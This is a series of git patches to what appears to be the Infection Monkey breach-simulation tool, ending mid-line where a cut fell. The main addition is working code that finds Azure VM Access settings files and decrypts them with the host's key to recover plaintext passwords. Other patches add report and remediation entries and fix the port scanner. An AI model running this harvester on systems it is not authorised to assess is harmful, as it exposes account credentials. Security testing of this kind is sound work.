From 08e7f8cd3af612ac40580b42bc17a8319377ab52 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 11 Mar 2018 19:03:40 +0200 Subject: [PATCH 01/19] quick bugfix for auth --- .../cc/ui/src/components/map/preview-pane/PreviewPane.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js index bffa8adb4..64b228332 100644 --- a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js +++ b/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js @@ -103,7 +103,7 @@ class PreviewPaneComponent extends AuthComponent { } downloadLog(asset) { - fetch('/api/log?id=' + asset.id) + this.authFetch('/api/log?id=' + asset.id) .then(res => res.json()) .then(res => { let timestamp = res['timestamp']; From 8f0251e822f937d9ee38bccc982fb50e8a9fcdb2 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 13 Mar 2018 11:08:23 +0200 Subject: [PATCH 02/19] Updated readme links --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 64a6d29ab..5a12b34f8 100644 --- a/README.md +++ b/README.md @@ -39,12 +39,12 @@ The Infection Monkey uses the following techniques and exploits to propagate to Setup ------------------------------- -Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki. +Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/). Building the Monkey from source ------------------------------- -If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/setup) +If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself) and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island). From cb39be6f58452af951391feb1557396f7e13e1cd Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 22 Mar 2018 16:44:04 +0200 Subject: [PATCH 03/19] Initial commit of standalone Azure password harvester --- .../system_info/azure_cred_collector.py | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 infection_monkey/system_info/azure_cred_collector.py diff --git a/infection_monkey/system_info/azure_cred_collector.py b/infection_monkey/system_info/azure_cred_collector.py new file mode 100644 index 000000000..d51587840 --- /dev/null +++ b/infection_monkey/system_info/azure_cred_collector.py @@ -0,0 +1,103 @@ +import sys +import logging +import os.path +import json +import glob +import subprocess + +__author__ = 'danielg' + +LOG = logging.getLogger(__name__) + + +class AzureCollector(object): + """ + Extract credentials possibly saved on Azure VM instances by the VM Access plugin + """ + + def __init__(self): + if sys.platform.startswith("win"): + self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings" + self.extractor = AzureCollector.get_pass_windows + else: + self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config" + self.extractor = AzureCollector.get_pass_linux + self.file_list = glob.iglob(os.path.join(self.path, "*.settings")) + + def extract_stored_credentials(self): + """ + Returns a list of username/password pairs saved under configuration files + :return: List of (user/pass), possibly empty + """ + results = [self.extractor(filepath) for filepath in self.file_list] + LOG.info("Found %d Azure VM access configuration file", len(results)) + return results + + @staticmethod + def get_pass_linux(filepath): + """ + Extract passwords from Linux azure VM Access files + :return: Username, password + """ + linux_cert_store = "/var/lib/waagent/" + try: + json_data = json.load(open(filepath, 'r')) + # this is liable to change but seems to be stable over the last year + protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings'] + cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint'] + base64_command = """openssl base64 -d -a""" + priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint) + b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE) + b64_result = b64_proc.communicate(input=protected_data + "\n")[0] + decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path + decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE) + decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] + decrypt_data = json.loads(decrypt_raw) + return decrypt_data['username'], decrypt_data['password'] + except IOError: + LOG.warning("Failed to parse VM Access plugin file. Could not open file") + return None + except (KeyError, ValueError): + LOG.warning("Failed to parse VM Access plugin file. Invalid format") + return None + except subprocess.CalledProcessError: + LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data") + return None + + @staticmethod + def get_pass_windows(filepath): + """ + Extract passwords from Windows azure VM Access files + :return: Username,password + """ + try: + json_data = json.load(open(filepath, 'r')) + # this is liable to change but seems to be stable over the last year + protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings'] + username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName'] + # we're going to do as much of this in PS as we can. + ps_block = ";\n".join([ + '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null', + '$base64 = "%s"' % protected_data, + "$content = [Convert]::FromBase64String($base64)", + "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms", + "$env.Decode($content)", + "$env.Decrypt()", + "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)", + "Write-Host $utf8content" # we want to simplify parsing + ]) + ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) + ps_out = ps_proc.communicate(ps_block)[0] + # this is disgusting but the alternative is writing the file to disk... + password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] + password = json.loads(password_raw)["Password"] + return username, password + except IOError: + LOG.warning("Failed to parse VM Access plugin file. Could not open file") + return None + except (KeyError, ValueError): + LOG.warning("Failed to parse VM Access plugin file. Invalid format") + return None + except subprocess.CalledProcessError: + LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data") + return None From e3bd29ef6f28b740e54a45dd1b9c99d379d1a72e Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 22 Mar 2018 16:44:56 +0200 Subject: [PATCH 04/19] Add credential harvesting by default to both OS colelctors --- infection_monkey/system_info/__init__.py | 21 +++++++++++++++++++ .../system_info/linux_info_collector.py | 1 + .../system_info/windows_info_collector.py | 4 +++- 3 files changed, 25 insertions(+), 1 deletion(-) diff --git a/infection_monkey/system_info/__init__.py b/infection_monkey/system_info/__init__.py index 126854b8e..464b1462c 100644 --- a/infection_monkey/system_info/__init__.py +++ b/infection_monkey/system_info/__init__.py @@ -7,6 +7,8 @@ from enum import IntEnum from network.info import get_host_subnets +from azure_cred_collector import AzureCollector + LOG = logging.getLogger(__name__) # Linux doesn't have WindowsError @@ -104,3 +106,22 @@ class InfoCollector(object): """ LOG.debug("Reading subnets") self.info['network_info'] = {'networks': get_host_subnets()} + + def get_azure_info(self): + """ + Adds credentials possibly stolen from an Azure VM instance (if we're on one) + Updates the credentials structure, creating it if neccesary (compat with mimikatz) + :return: None. Updates class information + """ + LOG.debug("Harvesting creds if on an Azure machine") + azure_collector = AzureCollector() + if 'credentials' not in self.info: + self.info["credentials"] = {} + for cred in azure_collector.extract_stored_credentials(): + username = cred[0] + password = cred[1] + if username not in self.info["credentials"]: + self.info["credentials"][username] = {} + # we might be losing passwords in case of multiple reset attempts on same username + # or in case another collector already filled in a password for this user + self.info["credentials"][username]['Password'] = password diff --git a/infection_monkey/system_info/linux_info_collector.py b/infection_monkey/system_info/linux_info_collector.py index 906173421..ccdd7cb30 100644 --- a/infection_monkey/system_info/linux_info_collector.py +++ b/infection_monkey/system_info/linux_info_collector.py @@ -25,4 +25,5 @@ class LinuxInfoCollector(InfoCollector): self.get_hostname() self.get_process_list() self.get_network_info() + self.get_azure_info() return self.info diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 72e189f81..610c4e8e3 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -27,6 +27,8 @@ class WindowsInfoCollector(InfoCollector): self.get_hostname() self.get_process_list() self.get_network_info() + self.get_azure_info() mimikatz_collector = MimikatzCollector() - self.info["credentials"] = mimikatz_collector.get_logon_info() + mimikatz_info = mimikatz_collector.get_logon_info() + self.info["credentials"].update(mimikatz_info) return self.info From 21abdb5ceff584a3410f334457182587298c1463 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sat, 24 Mar 2018 21:29:50 +0300 Subject: [PATCH 05/19] Add tag to system info if on Azure and harvested creds. --- infection_monkey/system_info/__init__.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/infection_monkey/system_info/__init__.py b/infection_monkey/system_info/__init__.py index 464b1462c..0d2828d88 100644 --- a/infection_monkey/system_info/__init__.py +++ b/infection_monkey/system_info/__init__.py @@ -117,7 +117,8 @@ class InfoCollector(object): azure_collector = AzureCollector() if 'credentials' not in self.info: self.info["credentials"] = {} - for cred in azure_collector.extract_stored_credentials(): + azure_creds = azure_collector.extract_stored_credentials() + for cred in azure_creds: username = cred[0] password = cred[1] if username not in self.info["credentials"]: @@ -125,3 +126,5 @@ class InfoCollector(object): # we might be losing passwords in case of multiple reset attempts on same username # or in case another collector already filled in a password for this user self.info["credentials"][username]['Password'] = password + if len(azure_creds) != 0: + self.info["Azure"] = True From 93fee0d2c528e8bc450ce3ef95f991ae2b6aec5a Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 25 Mar 2018 11:27:57 +0300 Subject: [PATCH 06/19] Add Azure password stealing to the report. --- infection_monkey/system_info/__init__.py | 2 + monkey_island/cc/services/report.py | 41 ++++++++++++++++++- .../cc/ui/src/components/pages/ReportPage.js | 28 ++++++++++++- 3 files changed, 68 insertions(+), 3 deletions(-) diff --git a/infection_monkey/system_info/__init__.py b/infection_monkey/system_info/__init__.py index 0d2828d88..52848673a 100644 --- a/infection_monkey/system_info/__init__.py +++ b/infection_monkey/system_info/__init__.py @@ -126,5 +126,7 @@ class InfoCollector(object): # we might be losing passwords in case of multiple reset attempts on same username # or in case another collector already filled in a password for this user self.info["credentials"][username]['Password'] = password + self.info["credentials"][username]['Azure'] = True + if len(azure_creds) != 0: self.info["Azure"] = True diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index cbef9d973..2b9e2eccc 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -33,6 +33,7 @@ class ReportService: SAMBACRY = 3 SHELLSHOCK = 4 CONFICKER = 5 + AZURE = 6 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -71,6 +72,19 @@ class ReportService: } for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})] + @staticmethod + def get_azure_issues(): + creds = ReportService.get_azure_creds() + machines = set([instance['origin'] for instance in creds]) + + return [ + { + 'type': 'azure_password', + 'machine': machine, + 'users': set([instance['username'] for instance in creds if instance['origin']==machine]) + } + for machine in machines] + @staticmethod def get_scanned(): nodes = \ @@ -135,6 +149,26 @@ class ReportService: ) return creds + @staticmethod + def get_azure_creds(): + """ + Recover all credentials marked as being from an Azure machine + :return: List of credentials. + """ + creds = [] + for telem in mongo.db.telemetry.find( + {'telem_type': 'system_info_collection', 'data.Azure': {'$exists': True}}, + {'data.credentials': 1, 'monkey_guid': 1} + ): + monkey_creds = telem['data']['credentials'] + if len(monkey_creds) == 0: + continue + origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] + new_creds = [{'username': user.replace(',', '.'), 'type': 'Clear Password', + 'origin': origin} for user in monkey_creds if 'Azure' in user] + creds.extend(new_creds) + return creds + @staticmethod def process_general_exploit(exploit): ip_addr = exploit['data']['machine']['ip_addr'] @@ -277,7 +311,7 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() issues_dict = {} for issue in issues: machine = issue['machine'] @@ -337,6 +371,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True elif issue['type'] == 'conficker': issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True + elif issue['type'] == 'azure_password': + issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users: issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True @@ -397,7 +433,8 @@ class ReportService: { 'scanned': ReportService.get_scanned(), 'exploited': ReportService.get_exploited(), - 'stolen_creds': ReportService.get_stolen_creds() + 'stolen_creds': ReportService.get_stolen_creds(), + 'azure_passwords': ReportService.get_azure_creds(), }, 'recommendations': { diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 56c2c3881..2a13e46dd 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -21,7 +21,8 @@ class ReportPageComponent extends AuthComponent { ELASTIC: 2, SAMBACRY: 3, SHELLSHOCK: 4, - CONFICKER: 5 + CONFICKER: 5, + AZURE: 6 }; Warning = @@ -313,6 +314,11 @@ class ReportPageComponent extends AuthComponent { {this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ?
  • Machines are accessible using passwords supplied by the user during the Monkey’s configuration.
  • : null} + {this.state.report.overview.issues[this.Issue.AZURE] ? +
  • Machines contained plain text passwords accessible to attackers. For more info see Harvesting Azure Passwords.
  • : null} + : @@ -587,6 +593,21 @@ class ReportPageComponent extends AuthComponent { ); } + generateAzureIssue(issue) { + return ( +
  • + Azure VM Access configuration files should be deleted after use to avoid credential leakage. + + VM Access plugin configuration files were left on the machine. Credentials could be stolen from {issue.machine} for the following users{issue.users}. Read more about the security issue and remediation here. + +
  • + ); + } + generateConfickerIssue(issue) { return (
  • @@ -631,6 +652,8 @@ class ReportPageComponent extends AuthComponent { ); } + + generateIssue = (issue) => { let data; switch (issue.type) { @@ -670,6 +693,9 @@ class ReportPageComponent extends AuthComponent { case 'tunnel': data = this.generateTunnelIssue(issue); break; + case 'azure_password': + data = this.generateAzureIssue(issue); + break; } return data; }; From 9d7b345d1d2230c3f67f16c81cd798cd153ff055 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 26 Mar 2018 19:30:53 +0300 Subject: [PATCH 07/19] Split up Azure credential working to make it easier for the server to understand. Fixed bugs in Azure report server side and fixed a hardcoded constant in get_issues_overview --- infection_monkey/system_info/__init__.py | 7 +++---- monkey_island/cc/services/report.py | 19 ++++++++++--------- 2 files changed, 13 insertions(+), 13 deletions(-) diff --git a/infection_monkey/system_info/__init__.py b/infection_monkey/system_info/__init__.py index 52848673a..fc228701a 100644 --- a/infection_monkey/system_info/__init__.py +++ b/infection_monkey/system_info/__init__.py @@ -125,8 +125,7 @@ class InfoCollector(object): self.info["credentials"][username] = {} # we might be losing passwords in case of multiple reset attempts on same username # or in case another collector already filled in a password for this user - self.info["credentials"][username]['Password'] = password - self.info["credentials"][username]['Azure'] = True - + self.info["credentials"][username]['password'] = password if len(azure_creds) != 0: - self.info["Azure"] = True + self.info["Azure"] = {} + self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds] diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 2b9e2eccc..72bc74806 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -81,7 +81,7 @@ class ReportService: { 'type': 'azure_password', 'machine': machine, - 'users': set([instance['username'] for instance in creds if instance['origin']==machine]) + 'users': set([instance['username'] for instance in creds if instance['origin'] == machine]) } for machine in machines] @@ -158,15 +158,15 @@ class ReportService: creds = [] for telem in mongo.db.telemetry.find( {'telem_type': 'system_info_collection', 'data.Azure': {'$exists': True}}, - {'data.credentials': 1, 'monkey_guid': 1} + {'data.Azure': 1, 'monkey_guid': 1} ): - monkey_creds = telem['data']['credentials'] - if len(monkey_creds) == 0: + azure_users = telem['data']['Azure']['usernames'] + if len(azure_users) == 0: continue origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] - new_creds = [{'username': user.replace(',', '.'), 'type': 'Clear Password', - 'origin': origin} for user in monkey_creds if 'Azure' in user] - creds.extend(new_creds) + azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password', + 'origin': origin} for user in azure_users] + creds.extend(azure_leaked_users) return creds @staticmethod @@ -349,7 +349,8 @@ class ReportService: @staticmethod def get_config_ips(): - if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True, True) != 'FixedRange': + if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True, + True) != 'FixedRange': return [] return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True) @@ -359,7 +360,7 @@ class ReportService: @staticmethod def get_issues_overview(issues, config_users, config_passwords): - issues_byte_array = [False] * 6 + issues_byte_array = [False] * len(ReportService.ISSUES_DICT) for machine in issues: for issue in issues[machine]: From 9b44fc8b9811443f1389ac7f8b8f58086c22152e Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 27 Mar 2018 10:40:03 +0300 Subject: [PATCH 08/19] Adds configuration option to turn Azure collection on and off Merge mimikatz and Azure into system info collection settings. --- infection_monkey/config.py | 2 ++ infection_monkey/example.conf | 1 + infection_monkey/system_info/__init__.py | 4 +++- monkey_island/cc/services/config.py | 11 +++++++++-- 4 files changed, 15 insertions(+), 3 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 9ec784594..e7b1999d5 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -272,5 +272,7 @@ class Configuration(object): mimikatz_dll_name = "mk.dll" + extract_azure_creds = True + WormConfiguration = Configuration() diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 13fa33492..84f08e865 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -15,6 +15,7 @@ "current_server": "41.50.73.31:5000", "alive": true, "collect_system_info": true, + "extract_azure_creds": true, "depth": 2, "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", diff --git a/infection_monkey/system_info/__init__.py b/infection_monkey/system_info/__init__.py index fc228701a..667ff9890 100644 --- a/infection_monkey/system_info/__init__.py +++ b/infection_monkey/system_info/__init__.py @@ -6,7 +6,6 @@ import psutil from enum import IntEnum from network.info import get_host_subnets - from azure_cred_collector import AzureCollector LOG = logging.getLogger(__name__) @@ -113,6 +112,9 @@ class InfoCollector(object): Updates the credentials structure, creating it if neccesary (compat with mimikatz) :return: None. Updates class information """ + from config import WormConfiguration + if not WormConfiguration.extract_azure_creds: + return LOG.debug("Harvesting creds if on an Azure machine") azure_collector = AzureCollector() if 'credentials' not in self.info: diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index bd6b79ca6..75c3f058f 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -521,8 +521,8 @@ SCHEMA = { } } }, - "mimikatz": { - "title": "Mimikatz", + "systemInfo": { + "title": "System collection", "type": "object", "properties": { "mimikatz_dll_name": { @@ -531,6 +531,13 @@ SCHEMA = { "default": "mk.dll", "description": "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)" + }, + "extract_azure_creds": { + "title": "Harvest Azure Credentials", + "type": "boolean", + "default": True, + "description": + "Determine if the Monkey should try to harvest password credentials from Azure VMs" } } } From b06d92331da4d96e3a168631289076c1dea704a4 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 27 Mar 2018 12:51:05 +0300 Subject: [PATCH 09/19] Fix horrid encryption bug where monkeys would not receive new credentials. Note the change in config.py is not optimal but should be fixed as part of another PR --- monkey_island/cc/resources/monkey.py | 4 +++- monkey_island/cc/services/config.py | 14 ++++++++++++++ 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/monkey.py b/monkey_island/cc/resources/monkey.py index 997e2a72e..80dd14604 100644 --- a/monkey_island/cc/resources/monkey.py +++ b/monkey_island/cc/resources/monkey.py @@ -24,6 +24,7 @@ class Monkey(flask_restful.Resource): if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) + monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config']) return monkey_json return {} @@ -65,7 +66,8 @@ class Monkey(flask_restful.Resource): # if new monkey telem, change config according to "new monkeys" config. db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) if not db_monkey: - new_config = ConfigService.get_flat_config(False, True) + # we pull it encrypted because we then decrypt it for the monkey in get + new_config = ConfigService.get_flat_config(False, False) monkey_json['config'] = monkey_json.get('config', {}) monkey_json['config'].update(new_config) else: diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 75c3f058f..1b4756ea9 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,4 +1,5 @@ import copy +import collections import functools from jsonschema import Draft4Validator, validators @@ -985,6 +986,19 @@ class ConfigService: def encrypt_config(config): ConfigService._encrypt_or_decrypt_config(config, False) + @staticmethod + def decrypt_flat_config(flat_config): + """ + Same as decrypt_config but for a flat configuration + """ + keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] + for key in keys: + if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring): + flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] + else: + flat_config[key] = encryptor.dec(flat_config[key]) + return flat_config + @staticmethod def _encrypt_or_decrypt_config(config, is_decrypt=False): for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS: From 095510e8e2aedfb69d5143d8b044463c6ac0e47f Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 27 Mar 2018 20:54:18 +0300 Subject: [PATCH 10/19] Add filtering of invalid results, otherwise it'll propagate --- infection_monkey/system_info/azure_cred_collector.py | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/system_info/azure_cred_collector.py b/infection_monkey/system_info/azure_cred_collector.py index d51587840..ad7db0307 100644 --- a/infection_monkey/system_info/azure_cred_collector.py +++ b/infection_monkey/system_info/azure_cred_collector.py @@ -30,6 +30,7 @@ class AzureCollector(object): :return: List of (user/pass), possibly empty """ results = [self.extractor(filepath) for filepath in self.file_list] + results = [x for x in results if x] LOG.info("Found %d Azure VM access configuration file", len(results)) return results From 1048e12fbdf316ee8b19a45ef81ec3ae6f0e2fc8 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 28 Mar 2018 15:11:34 +0300 Subject: [PATCH 11/19] Shorter and maybe final wording --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 2a13e46dd..34cd9252e 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -315,9 +315,9 @@ class ReportPageComponent extends AuthComponent {
  • Machines are accessible using passwords supplied by the user during the Monkey’s configuration.
  • : null} {this.state.report.overview.issues[this.Issue.AZURE] ? -
  • Machines contained plain text passwords accessible to attackers. For more info see Azure machines expose plaintext passwords. (Harvesting Azure Passwords.
  • : null} + >More info) : null} @@ -596,9 +596,9 @@ class ReportPageComponent extends AuthComponent { generateAzureIssue(issue) { return (
  • - Azure VM Access configuration files should be deleted after use to avoid credential leakage. + Delete VM Access plugin configuration files. - VM Access plugin configuration files were left on the machine. Credentials could be stolen from {issue.machine} for the following users{issue.users}. Read more about the security issue and remediation Date: Thu, 29 Mar 2018 10:55:06 +0300 Subject: [PATCH 12/19] Fix spacing --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 34cd9252e..bec4f3625 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -599,7 +599,7 @@ class ReportPageComponent extends AuthComponent { Delete VM Access plugin configuration files. Credentials could be stolen from {issue.machine} for the following users{issue.machine} for the following users {issue.users}. Read more about the security issue and remediation here. From 3aa1b9e5a98fd74429399232cea3e4b1f75c79d8 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 29 Mar 2018 15:39:47 +0300 Subject: [PATCH 13/19] Bugfix in _cast_by_example, see issue #109 --- infection_monkey/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 9ec784594..4387190ab 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -25,7 +25,7 @@ def _cast_by_example(value, example): if example_type is str: return str(os.path.expandvars(value)) elif example_type is tuple and len(example) != 0: - if value is None or value == tuple(None): + if value is None or value == tuple([None]): return tuple() return tuple([_cast_by_example(x, example[0]) for x in value]) elif example_type is list and len(example) != 0: From d754d39e75d49cac1c109fa4841c531eb191e778 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 1 Apr 2018 13:59:06 +0300 Subject: [PATCH 14/19] Fix spurious successful connection attempts in check_tcp_ports --- infection_monkey/network/tools.py | 34 ++++++++++++++++++------------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/infection_monkey/network/tools.py b/infection_monkey/network/tools.py index eac020dc0..9f0cb8dee 100644 --- a/infection_monkey/network/tools.py +++ b/infection_monkey/network/tools.py @@ -106,32 +106,38 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): """ sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))] [s.setblocking(0) for s in sockets] - good_ports = [] + possible_ports = [] + connected_ports_sockets = [] try: LOG.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports))) for sock, port in zip(sockets, ports): err = sock.connect_ex((ip, port)) - if err == 0: - good_ports.append((port, sock)) + if err == 0: # immediate connect + connected_ports_sockets.append((port, sock)) + possible_ports.append((port, sock)) continue - if err == 10035: # WSAEWOULDBLOCK is valid, see https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 - good_ports.append((port, sock)) + if err == 10035: # WSAEWOULDBLOCK is valid, see + # https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 + possible_ports.append((port, sock)) continue if err == 115: # EINPROGRESS 115 /* Operation now in progress */ - good_ports.append((port, sock)) + possible_ports.append((port, sock)) continue LOG.warning("Failed to connect to port %s, error code is %d", port, err) - if len(good_ports) != 0: + if len(possible_ports) != 0: time.sleep(timeout) - # this is possibly connected. meaning after timeout wait, we expect to see a connection up - # Possible valid errors codes if we chose to check for actually closed are - # ECONNREFUSED (111) or WSAECONNREFUSED (10061) or WSAETIMEDOUT(10060) - connected_ports_sockets = [s for s in good_ports if - s[1].getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) == 0] + sock_objects = [s[1] for s in possible_ports] + # first filter + _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) + for s in writeable_sockets: + try: # actual test + connected_ports_sockets.append((s.getpeername()[1], s)) + except socket.error: # bad socket, select didn't filter it properly + pass LOG.debug( "On host %s discovered the following ports %s" % - (str(ip), ",".join([str(x[0]) for x in connected_ports_sockets]))) + (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets]))) banners = [] if get_banner: readable_sockets, _, _ = select.select([s[1] for s in connected_ports_sockets], [], [], 0) @@ -140,7 +146,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): for port, sock in connected_ports_sockets] pass # try to cleanup - [s[1].close() for s in good_ports] + [s[1].close() for s in possible_ports] return [port for port, sock in connected_ports_sockets], banners else: return [], [] From ac8f218586853c96b377ca1d1c57667954efa6ab Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 2 Apr 2018 01:47:15 -0700 Subject: [PATCH 15/19] fix unicode bug --- infection_monkey/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 9ec784594..013380cb9 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -23,7 +23,7 @@ def _cast_by_example(value, example): """ example_type = type(example) if example_type is str: - return str(os.path.expandvars(value)) + return os.path.expandvars(value).encode("utf8") elif example_type is tuple and len(example) != 0: if value is None or value == tuple(None): return tuple() From 99b22cfa56d60ab89636962683479f20a7ef3dfe Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 2 Apr 2018 16:49:18 +0300 Subject: [PATCH 16/19] Fail gracefully in case of no open ports on Windows --- infection_monkey/network/tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/network/tools.py b/infection_monkey/network/tools.py index 9f0cb8dee..5053b6c32 100644 --- a/infection_monkey/network/tools.py +++ b/infection_monkey/network/tools.py @@ -139,7 +139,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): "On host %s discovered the following ports %s" % (str(ip), ",".join([str(s[0]) for s in 